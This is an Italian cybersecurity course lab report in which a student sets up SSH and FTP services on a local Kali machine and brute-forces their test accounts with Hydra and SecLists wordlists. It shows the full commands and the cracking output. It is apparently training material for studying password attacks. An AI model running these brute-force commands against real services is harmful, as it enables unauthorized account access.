

# LABORATORIO EPICODE

## S6\_L4

**Traccia: Esercizio Traccia** Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio.

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

### FASE 1

1. Procediamo con la creazione di un nuovo user con nome test\_user e la password testpass inserendo alcuni dati identificativi

```
(kali@kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []: Bros
    Room Number []: 001
    Work Phone []: 01523950
    Home Phone []: 335421123
    Other []: Lorem
Is the information correct? [Y/n] Y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

2. Attiviamo il servizio ssh con il seguente comando in figura

```
(kali@kali)-[/etc/ssh]
$ sudo service ssh start

(kali@kali)-[/etc/ssh]
$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 16 10:49:36 2024 from 192.168.50.100
(test_user@kali)-[~]
$
```

3. Una volta verificato il collegamento, utilizziamo Hydra per fare la ricerca dello Username e della Password in liste dedicate in file di testo nella sezione **seclists** che kali propone per svolgere l'esercitazione

```
(root@kali)-[/usr/share/seclists]
$ hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt 192.168.50.100 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-16 16:32:28
[DATA] max 4 tasks per 1 server, overall 4 tasks, 164142 login tries (l:829/p:198), ~41036 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 1 of 164142 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 2 of 164142 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 3 of 164142 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "picture1" - 4 of 164142 [child 3] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "testpass" - 199 of 164142 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "123456" - 200 of 164142 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "123456789" - 201 of 164142 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "picture1" - 202 of 164142 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "password" - 203 of 164142 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "12345678" - 204 of 164142 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "111111" - 205 of 164142 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "123123" - 206 of 164142 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "12345" - 207 of 164142 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "1234567890" - 208 of 164142 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "senha" - 209 of 164142 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "1234567" - 210 of 164142 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "qwerty" - 211 of 164142 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "!root" - pass "abc123" - 212 of 164142 [child 1] (0/0)
```

## FASE 2

Per creare la FASE 2 abbiamo optato di creare un nuovo servizio ftp

1. Procediamo con la creazione di un nuovo user con nome test\_user2 e la password testpass2 inserendo alcuni dati identificativi

```
(kali㉿kali)-[~]
$ sudo adduser test_user2
[sudo] password for kali:
info: Adding user `test_user2' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user2' (1002) ...
info: Adding new user `test_user2' (1002) with group `test_user2 (1002)' ...
info: Creating home directory `/home/test_user2' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user2
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] Y
info: Adding new user `test_user2' to supplemental / extra groups `users' ...
info: Adding user `test_user2' to group `users' ...
```

2. Attiviamo il servizio ftp con il seguente comando in figura

```
(kali㉿kali)-[~]
$ service vsftpd start
```

3. A questo punto, avendo verificato l'accesso, non ci resta che configurare Hydra per una sessione di cracking

```
(kali㉿kali)-[~]
$ ftp test_user2@192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

4. Eseguiamo la ricerca dello Username e della Password in liste dedicate in file di testo nella sezione **seclists** che kali propone per svolgere l'esercitazione

```
(kali@kali)-[~/Desktop]
$ hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt ftp://192.168.50.100
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-bin

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-16 18:23:06
[DATA] max 16 tasks per 1 server, overall 16 tasks, 165170 login tries (l:830/p:199), ~10324 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100 login: test_user2 password: testpass2
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```